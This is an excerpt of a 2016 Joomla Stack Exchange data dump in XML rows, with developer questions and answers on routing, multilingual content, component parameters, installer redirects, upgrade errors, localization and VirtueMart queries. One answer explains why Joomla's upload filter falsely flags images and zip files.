  <row Id="15866" PostTypeId="2" ParentId="15864" CreationDate="2016-03-27T10:08:49.503" Score="2" Body="&lt;p&gt;Joomla router just doesn't work that way.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only way you could have a link &lt;code&gt;/article-for-all&lt;/code&gt; is to create a menu for each article and to manualy set that alias in both menu items, because Search Engines are looking for the XML &quot;lang&quot; and not the language of the alias.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BUT you could try a different approach:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a nice little free plugin called &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/languages/multi-lingual-content/easy-language&quot; rel=&quot;nofollow&quot;&gt;Easy Language&lt;/a&gt;, for easy and immediate management of multilingual texts in every possible area of Joomla, articles, components, modules, metadata, template, other components (example K2) etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The parameter that filters the language is the language code URL.&#xA;(es &lt;code&gt;www.yoursite.com/en/page&lt;/code&gt;).&lt;br&gt;&#xA;To use simply insert the following code in the template, editor or any editable field of any component or module:&lt;br&gt;&#xA;&lt;code&gt;{lang en}Text english{/lang}&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;{lang it}Testo italiano{/lang}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, basically what I'm pointing to is is to have ONE article with menu alias you want, and inside that article to separate English from Italian text by using aforementioned plugin codes. You can use the codes in Article Title too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now... I haven't tested this plugin in newest Joomlas and used it before only in J2.5, but you should give it a try.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="3650" LastEditDate="2016-03-29T09:17:52.480" LastActivityDate="2016-03-29T09:17:52.480" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15867" PostTypeId="2" ParentId="15852" CreationDate="2016-03-27T14:04:14.423" Score="3" Body="&lt;p&gt;What is @Pierre suggesting is called &lt;a href=&quot;https://stackoverflow.com/questions/2809024/points-in-css-specificity&quot;&gt;CSS Specificity&lt;/a&gt;, and is important part in determining which CSS Selector is stronger.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can be easily calculated with &lt;a href=&quot;https://specificity.keegan.st&quot; rel=&quot;nofollow noreferrer&quot;&gt;Specificity Calculator&lt;/a&gt;, but the strongest selector &lt;code&gt;html&lt;/code&gt; he is suggesting, will always work to override previously applied attributes. &lt;/p&gt;&#xA;" OwnerDisplayName="user8036" LastEditorUserId="-1" LastEditorDisplayName="user8036" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-03-27T14:29:30.190" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15870" PostTypeId="1" AcceptedAnswerId="15887" CreationDate="2016-03-27T18:06:57.900" Score="2" ViewCount="760" Body="&lt;p&gt;what is the good way to create one page Joomla site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just need one or two module for each menu item. So, that would be okay with one page site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a thought using external link as menu item, and put #something to it. But how is the exact step?&#xA;My intention is pretty simple, just like &lt;a href=&quot;http://blackrockdigital.github.io/startbootstrap-creative/&quot; rel=&quot;nofollow&quot; title=&quot;one page site example&quot;&gt;this one&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any option (playing around with menu, menu items, module, component, OR hard code)?&lt;/p&gt;&#xA;" OwnerUserId="7216" LastActivityDate="2020-09-10T22:49:25.453" Title="How to create one page Joomla site?" Tags="|component|menu-item|menu|layout|joomla-3.5|" AnswerCount="2" CommentCount="0" ClosedDate="2016-03-29T14:18:15.727" ContentLicense="CC BY-SA 3.0" />
  <row Id="15871" PostTypeId="1" CreationDate="2016-03-27T18:45:39.213" Score="1" ViewCount="43" Body="&lt;p&gt;I'm using EasyCalcCheck+ to beef up security on a Joomla site. In general it works well, adding a random math question to contact forms and registration. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ECC+ also has options that enable integration with Akismet, StopForumSpam, Project Honeypot, and Botscout. I've been able to get all of these working, except Botscout. When I enable the Botscout check (suing my Botscout API key), the check always fails (&quot;You failed the spam check. Please try again!&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone out there been able to make this work? ECC+ has a support forum, but I didn't find anything useful there, and a paid subscription is required to post. I've also searched for an ECC+ log, with no success.&lt;/p&gt;&#xA;" OwnerUserId="5636" LastActivityDate="2016-03-27T18:45:39.213" Title="How can I make the Botscout feature work in the EasyCalcCheck+ security plugin?" Tags="|plugin|security|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15873" PostTypeId="2" ParentId="15870" CreationDate="2016-03-28T00:50:59.743" Score="1" Body="&lt;p&gt;should be possible with the t3 framework  &lt;a href=&quot;http://www.t3-framework.org/&quot; rel=&quot;nofollow&quot;&gt;http://www.t3-framework.org/&lt;/a&gt; and a core template.&#xA;For the homepage you can set the template the way you want it,even without menubar if you want to.&#xA;it's even possible to run Joomla on this framework in bootstrap 3 in the frontend. no problem..&lt;/p&gt;&#xA;" OwnerUserId="8106" LastActivityDate="2016-03-28T00:50:59.743" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15874" PostTypeId="1" AcceptedAnswerId="15875" CreationDate="2016-03-28T04:27:50.090" Score="2" ViewCount="3007" Body="&lt;p&gt;If I want to retrieve a single parameter from a component the code is pretty simple, example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;&#xA;$params = $app-&amp;gt;getParams('com_content');&#xA;&#xA;echo $params-&amp;gt;get('num_leading_articles');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works though &lt;em&gt;only&lt;/em&gt; if you know the exact name of the parameter you want to retrieve. Is there a way to get ALL params instead? Sometimes you may not know all the parameters of a  component, how can you get a list of those params if that's the case?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm on Joomla! 3.4&lt;/p&gt;&#xA;" OwnerUserId="5650" LastEditorUserId="5650" LastEditDate="2016-03-28T06:16:48.083" LastActivityDate="2016-03-28T17:37:04.737" Title="How to get ALL params of object?" Tags="|joomla-3.x|module-params|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15875" PostTypeId="2" ParentId="15874" CreationDate="2016-03-28T11:06:06.907" Score="6" Body="&lt;p&gt;You can simply use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$componentParams= JComponentHelper::getParams('com_content');&#xA;&#xA;var_dump($componentParams);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will provide an object like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;object(Joomla\Registry\Registry)[175]&#xA;  protected 'data' =&amp;gt; &#xA;    object(stdClass)[503]&#xA;      public 'article_layout' =&amp;gt; string '_:default' (length=9)&#xA;      public 'show_title' =&amp;gt; string '1' (length=1)&#xA;      public 'link_titles' =&amp;gt; string '1' (length=1)&#xA;      etc....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Because it's a protected object, you will when of course need to use Joomla's &lt;code&gt;get()&lt;/code&gt; method to access it, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$foo = $componentParams-&amp;gt;get('show_title');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you'd like to get the params without knowing the name of them or without using &lt;code&gt;get()&lt;/code&gt;, you can use a &lt;code&gt;foreach&lt;/code&gt; loop like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$componentParams = JComponentHelper::getParams('com_content');&#xA;&#xA;foreach ($componentParams as $key =&amp;gt; $val)&#xA;{&#xA;    echo $key . ' - ' . $val;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2016-03-28T17:37:04.737" LastActivityDate="2016-03-28T17:37:04.737" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="15876" PostTypeId="1" CreationDate="2016-03-28T11:24:56.697" Score="5" ViewCount="268" Body="&lt;p&gt;I got a package that contains few extensions.  I want to redirect to my custom view once the package installation is fully complete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought of trying via installer script using the postflight method as below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function postflight($route, JAdapterInstance $adapter){&#xA;    $app = JFactory::getApplication();&#xA;    $app-&amp;gt;enqueueMessage('Post Installation... ');&#xA;&#xA;    $app-&amp;gt;redirect('index.php?option=com_mycomponent&amp;amp;view=install');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Problem:&lt;/strong&gt; It is like hijacking the installer in half way by redirect to a different view.  Because of this the post installer processes like updating the update server, post cleanup steps are not fully complete...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tweaked the postflight code a little bit as below using javascript redirect.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function postflight($route, JAdapterInstance $adapter){&#xA;    $jurl = JURI::base();&#xA;    $app = JFactory::getApplication();&#xA;    $app-&amp;gt;enqueueMessage('Redirect to complete the Installation process... &amp;lt;script&amp;gt;window.location.href=&quot;'.$jurl.'index.php?option=com_mycomponent&amp;amp;view=install&quot;;&amp;lt;/script&amp;gt;');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It looks like its working great...  The redirect happens only after the complete installation of the package.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Need some expert advice here is there any decent way to achieve the same...&lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2017-02-22T11:03:46.693" Title="Redirect after completing the package installation" Tags="|joomla-3.x|installation|custom-component|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15878" PostTypeId="2" ParentId="15819" CreationDate="2016-03-28T15:19:22.760" Score="0" Body="&lt;p&gt;When I changed the category of my Topics menu from the &quot;Blog&quot; category to my custom &quot;Homepage blog&quot; category this seemed to fix things. Why I don't know, but this is what fixed it. Is &quot;Blog&quot; a default category that always uses the same layout as Home?&lt;/p&gt;&#xA;" OwnerUserId="8049" LastActivityDate="2016-03-28T15:19:22.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15879" PostTypeId="1" AcceptedAnswerId="15881" CreationDate="2016-03-28T15:41:03.197" Score="0" ViewCount="2097" Body="&lt;p&gt;I was updating a site and I got the following error message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fatal error: Undefined class constant 'PRODUCT' in /home/sitename/public_html/administrator/modules/mod_version/helper.php on line 39&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the site will not load the administrator interface. I saw this &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/9515&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/issues/9515&lt;/a&gt; but its not offering a real solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The front of the site is still working. Any suggestion would be most helpful!&lt;/p&gt;&#xA;" OwnerUserId="1911" LastActivityDate="2016-04-07T19:43:53.440" Title="Joomla 3.5 Update from 3.4 Error" Tags="|joomla-3.x|joomla-3.5|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15881" PostTypeId="2" ParentId="15879" CreationDate="2016-03-28T17:08:41.990" Score="3" Body="&lt;p&gt;As a possible quick workaround - connect via FTP and go to &lt;code&gt;/administrator/modules/mod_version/&lt;/code&gt; rename it to something like &lt;code&gt;mod_version-disabled&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See if at first place resolves the issue with the backend. Generally something didn't went really well with the update and some files might not have been copied/replaced right. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If renaming the above module's folder name, gives you admin access back, then you could try re-installing the Joomla 3.5 by downloading the package from Joomla.org.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are still facing problems, you could and should grab a fresh copy of Joomla (unzip the full stable 3.5 package) and manually replace certain directories - but take care to not replace directories that contain additional non-core content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean that usually you can fully replace the includes, layouts folders but for folders like components, modules etc you need to only replace the sub-contents that is part of the core distribution.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2016-03-28T17:08:41.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15883" PostTypeId="1" CreationDate="2016-03-28T20:34:41.643" Score="1" ViewCount="68" Body="&lt;p&gt;I have some questions about localization for plugins and components. I've searched around on the Joomla site, and didn't see an answer. I thought I'd try to avoid an archeological expedition through the source to find my answer :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does Joomla recognize language-only named variant files? If I create a translation file named de.somepackage.ini, will it get picked up by sites running de-DE, de-CH, de-AT?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a country-specific variant file is not found does it fall back to the nearest match? For example, if I create translation named de_DE.somepackage.ini, will it get picked up by sites running de-CH, or de-AT?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a fallback mechanism? In Java, I might have a captions.properties file, a captions_de.properties, and a captions_de_CH.properties file. When I ask for captions for de-CH, it it reads each dictionary from least specific to most specific sequentially, and overwrites any keys with the more specific version. Is there a similar mechanism at work in Joomla?&lt;/p&gt;&#xA;" OwnerUserId="7997" LastActivityDate="2016-03-28T20:42:55.543" Title="Localization Questions" Tags="|joomla-3.x|development|language|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15884" PostTypeId="2" ParentId="15883" CreationDate="2016-03-28T20:42:55.543" Score="2" Body="&lt;p&gt;Joomla does not support country-specific variant files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even with British-English and American English, there are different files:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;en-GB&lt;/li&gt;&#xA;&lt;li&gt;en-US&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;They way Joomla works with it's language strings is, each language should have it's own language file, however as of Joomla 3.2, the &lt;code&gt;en-GB&lt;/code&gt; file is loaded first. This ensures any missing constants have a fallback, rather than displaying the constant itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my suggestion would be, to always ensure your &lt;code&gt;en-GB&lt;/code&gt; language file is the primary one and always the first to be kept up to date.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-03-28T20:42:55.543" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15885" PostTypeId="5" CreationDate="2016-03-28T21:39:13.253" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2016-03-28T21:39:13.253" LastActivityDate="2016-03-28T21:39:13.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15886" PostTypeId="4" CreationDate="2016-03-28T21:39:13.253" Score="0" Body="For questions regarding version 1.0 of the Joomla Content Management System. Please note that Joomla 1.0 is no longer officially supported and it's recommended you migrate to Joomla 3.x" OwnerUserId="5378" LastEditorUserId="5378" LastEditDate="2016-03-28T22:52:57.760" LastActivityDate="2016-03-28T22:52:57.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15887" PostTypeId="2" ParentId="15870" CreationDate="2016-03-28T22:44:33.423" Score="2" Body="&lt;p&gt;Any template should work fine with &amp;quot;External URL&amp;quot; menu options linking to appropriate IDs on the page (see example below).&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hl7P2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hl7P2.png&quot; alt=&quot;External Menu Option&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can also create extra IDs in the content where needed by editing the HTML code like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&amp;quot;contact-us&amp;quot;&amp;gt;&#xA;  &amp;lt;h2&amp;gt;Contact Us&amp;lt;/h2&amp;gt;&#xA;  etc.&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;There are also one page templates available for Joomla, some of which have extra navigation features (e.g. buttons and smooth scrolling between sections).&lt;/p&gt;&#xA;&lt;p&gt;Extensions e.g. &lt;a href=&quot;https://extensions.joomla.org/extension/scroll-to-ck&quot; rel=&quot;nofollow noreferrer&quot;&gt;Scroll To CK&lt;/a&gt; are also available to help with smooth scrolling.&lt;/p&gt;&#xA;&lt;p&gt;An example of a free Joomla one page template is the &lt;a href=&quot;http://demo.warptheme.com/joomla/wt_amara/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Amara&lt;/a&gt; template from Warp Theme.&lt;/p&gt;&#xA;&lt;p&gt;An example of a one page Helix 3 template is &lt;a href=&quot;http://demo.joomshaper.com/?template=qubic&quot; rel=&quot;nofollow noreferrer&quot;&gt;Qubic&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Note that one page websites aren't necessarily a good idea from a search engine optimisation point of view.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2020-09-10T22:49:25.453" LastActivityDate="2020-09-10T22:49:25.453" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="15888" PostTypeId="2" ParentId="15270" CreationDate="2016-03-29T00:23:52.747" Score="2" Body="&lt;p&gt;I know that's odd (still in Joomla 3.5.0).&#xA;In the &lt;code&gt;function canUpload($file, $component = 'com_media') &lt;/code&gt; of class JHelperMedia, this is within /libraries/cms/helper/media.php&#xA;a check for serveral tags searches through the whole uploaded file(s).&#xA;So if there is e.g. a tag &lt;strong&gt;ol&lt;/strong&gt; like &lt;code&gt;&quot;&amp;lt;ol &quot; or &quot;&amp;lt;ol&amp;gt;&quot;&lt;/code&gt;  inside the raw picture file (case insensitive), the Error &lt;strong&gt;Possible IE XSS Attack found&lt;/strong&gt; is shown.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;it checks for 116 strings: 'abbr', 'acronym', 'address', 'applet', 'area', 'audioscope', 'base', 'basefont', 'bdo', 'bgsound', 'big', 'blackface', 'blink', 'blockquote', 'body', 'bq', 'br', 'button', 'caption', 'center', 'cite', 'code', 'col', 'colgroup', 'comment', 'custom', 'dd', 'del', 'dfn', 'dir', 'div', 'dl', 'dt', 'em', 'embed', 'fieldset', 'fn', 'font', 'form', 'frame', 'frameset', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'head', 'hr', 'html', 'iframe', 'ilayer', 'img', 'input', 'ins', 'isindex', 'keygen', 'kbd', 'label', 'layer', 'legend', 'li', 'limittext', 'link', 'listing', 'map', 'marquee', 'menu', 'meta', 'multicol', 'nobr', 'noembed', 'noframes', 'noscript', 'nosmartquotes', 'object', 'ol', 'optgroup', 'option', 'param', 'plaintext', 'pre', 'rt', 'ruby', 's', 'samp', 'script', 'select', 'server', 'shadow', 'sidebar', 'small', 'spacer', 'span', 'strike', 'strong', 'style', 'sub', 'sup', 'table', 'tbody', 'td', 'textarea', 'tfoot', 'th', 'thead', 'title', 'tr', 'tt', 'ul', 'var', 'wbr', 'xml', 'xmp', '!DOCTYPE', '!--'&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So you can reckon yourself how likely it is that a random hit exists!&#xA;Especially with bigger images, and also with the one letter &quot;s&quot; or &quot;S&quot;; &#xA;A remedy: You can use a tool for manipulating the image, e.g. the website tinypng.com where you can also make smart compression for PNG and JPG images.&#xA;This will create a new binary for your image, and hopefully takes the upload. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also a functionality in Joomla - a class for Uploading files, which also uses special checking. This is the cause, that I can't use this file handling class &lt;strong&gt;JFile&lt;/strong&gt; with that static function &lt;strong&gt;upload()&lt;/strong&gt;. This class would be very comfortable in usage, but: The &lt;strong&gt;JFilterInput::isSafeFile&lt;/strong&gt; is called, and when uploading a file e.g. 20 MB, its nearly every zip-file causing an error! Within that check, suspicious strings inside the raw zip-file i.e. &quot;inc&quot;,&quot;phps&quot;,&quot;class&quot;,&quot;php3&quot;,&quot;php4&quot;,&quot;txt&quot;,&quot;dat&quot;,&quot;tpl&quot;, and &quot;tmpl&quot; cause a break and returns false for uploading.&lt;/p&gt;&#xA;" OwnerUserId="7023" LastActivityDate="2016-03-29T00:23:52.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15890" PostTypeId="1" CreationDate="2016-03-29T09:15:28.650" Score="2" ViewCount="46" Body="&lt;p&gt;After installing Joomla 3.5, I started adding some menu items, but after saving them, there seems to be a problem with the menu level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After adding another menu item, the level changes from &lt;strong&gt;8&lt;/strong&gt; to &lt;strong&gt;11&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone some across this problem before that could shed some light?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gzbFK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gzbFK.png&quot; alt=&quot;first&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2UV7n.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2UV7n.png&quot; alt=&quot;secound&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8115" LastEditorUserId="168" LastEditDate="2016-03-29T09:23:07.427" LastActivityDate="2016-03-30T18:27:03.430" Title="problem with joomla 3.5 menus" Tags="|menu-item|joomla-3.5|" AnswerCount="0" CommentCount="4" ClosedDate="2016-04-01T10:19:03.450" ContentLicense="CC BY-SA 3.0" />
  <row Id="15891" PostTypeId="2" ParentId="15860" CreationDate="2016-03-29T10:11:46.490" Score="4" Body="&lt;p&gt;The issue was down to a problem with a PDO database &lt;strike&gt;file&lt;/strike&gt; MySQL driver, which is why it wasn't replicated on my other 3.5.0 site, which was using MySql.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a fix here, or it should be patched in the next update:&#xA;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/9610&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/pull/9610&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1622" LastEditorUserId="3650" LastEditDate="2016-03-29T14:03:51.073" LastActivityDate="2016-03-29T14:03:51.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15892" PostTypeId="1" CreationDate="2016-03-29T10:36:57.380" Score="1" ViewCount="66" Body="&lt;p&gt;All menu items have class &quot;item-text&quot;. &lt;br&gt;&#xA;But one Menu Heading has class &quot;nav-header&quot;. &lt;br&gt;&#xA;I searched &quot;nav-header&quot; class in each css file, but could not find.&lt;br&gt;&#xA;I need that class to make the font-size larger.&lt;br&gt;&#xA;Where can I find it?&lt;/p&gt;&#xA;" OwnerUserId="7343" LastActivityDate="2016-03-30T03:47:06.647" Title="Span class nav-header can't be found" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15893" PostTypeId="2" ParentId="15854" CreationDate="2016-03-29T11:09:55.297" Score="3" Body="&lt;p&gt;Set position of info &lt;em&gt;above&lt;/em&gt; to keep tags in that position and make an override of &lt;code&gt;com_content/views/article/tmpl/default.php&lt;/code&gt; with this changes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Line 76 - remove or comment this statement:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo JLayoutHelper::render('joomla.content.info_block.block', array('item' =&amp;gt; $this-&amp;gt;item, 'params' =&amp;gt; $params, 'position' =&amp;gt; 'above'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in this way the view will not load author and other info in this position&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add statement to print author where you want to display it with this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo JLayoutHelper::render('joomla.content.info_block.author', array('item' =&amp;gt; $this-&amp;gt;item, 'params' =&amp;gt; $params, 'position' =&amp;gt; 'below'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;JLayoutHelper&lt;/strong&gt; refers to the file path of the first parameter, in this case refers to &lt;code&gt;/layouts/joomla/content/info_block/author.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway it's better to use an override instead of editing core files.&lt;/p&gt;&#xA;" OwnerUserId="3585" LastActivityDate="2016-03-29T11:09:55.297" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15895" PostTypeId="1" CreationDate="2016-03-29T13:33:17.320" Score="1" ViewCount="585" Body="&lt;p&gt;Could someone help me to create a query using the Joomla API? I've been going round in circles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// Get a db connection.&#xA;$db = JFactory::getDbo();&#xA;&#xA;// Create a new query object.&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;// Insert columns.&#xA;$columns = array('virtuemart_media_id', 'virtuemart_product_id');&#xA;&#xA;// Insert values.&#xA;$values = array(); &amp;lt;---- How can i get the values&#xA;&#xA;// Prepare the insert query.&#xA;$query&#xA;    -&amp;gt;insert($db-&amp;gt;quoteName('#__virtuemart_product_medias'))&#xA;    -&amp;gt;columns($db-&amp;gt;quoteName($columns))&#xA;    -&amp;gt;values(implode(',', $values));&#xA;&#xA;// Set the query using our newly populated query object and execute it.&#xA;$db-&amp;gt;setQuery($query);&#xA;$db-&amp;gt;execute();&#xA;&#xA;?/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, the values I want are based on the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;virtuemart_media_id&lt;/code&gt; = &lt;code&gt;#__virtuemart_medias.virtuemart_media_id&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;virtuemart_product_id&lt;/code&gt; = &lt;code&gt;#__virtuemart_products.virtuemart_product_id&lt;/code&gt;  &lt;/li&gt;&#xA;&lt;li&gt;WHERE &lt;code&gt;#__virtuemart_products.product_sku&lt;/code&gt; = &lt;code&gt;#__virtuemart_medias.explode(&quot;-&quot;, strtoupper('file_url'), 2)&lt;/code&gt;     &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I want to insert the values into the &lt;code&gt;#__virtuemart_product_medias&lt;/code&gt; table.&lt;/p&gt;&#xA;" OwnerUserId="7973" LastEditorUserId="12352" LastEditDate="2019-06-15T13:04:32.740" LastActivityDate="2019-06-15T13:04:32.740" Title="Selecting data from 2 tables and inserting into a 3rd table" Tags="|joomla-3.4|mysql|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="15896" PostTypeId="2" ParentId="15895" CreationDate="2016-03-29T14:27:12.667" Score="0" Body="&lt;p&gt;The explode function returns an array; your first code, does not make any sense for me; and I'm familiar with virtuemart tables;&#xA;Getting the file_url from the query, I would do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//Select just the product sku from the file url&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select($db-&amp;gt;qn(array('file_url')))&#xA;  -&amp;gt;from($db-&amp;gt;qn('#__virtuemart_medias'));&#xA;$db-&amp;gt;setQuery($query);&#xA;$object =  $db-&amp;gt;loadObjectList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The big question is, what do you want to get from the virtuemart tables?&#xA;Inside the second code, there is no virtuemart_product_id nor a product_sku inside the table virtuemart_medias.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I want to get the product_id from virtuemart_products, based on the sku from the file_url, then insert the virtumart_media_id and virtuemart_product_id into the virtuemart_product_medias table. Effectively linking any media files with the same product sku to the product itself.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//this is e.g. the file-url:&#xA;$file-url = '/blabla/stock/knife/picture1.png'; &#xA;$path_parts = pathinfo($file-url);&#xA;//get the last dir (i.e.knife)&#xA;$skus = explode('/',path_parts['dirname']); // explodes /blabla/stock/knife&#xA;$product_sku = array_pop($skus); //here you've to proof if its empty..&#xA;if (empty($product_sku)) return false;&#xA;$filename = path_parts['basename']; //picture1.png&#xA;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true)&#xA;  -&amp;gt;select($db-&amp;gt;qn(array('virtuemart_product_id','product_sku')))&#xA;  -&amp;gt;from($db-&amp;gt;qn('#__virtuemart_products'))&#xA;  -&amp;gt;where($db-&amp;gt;qn('product_sku').' = 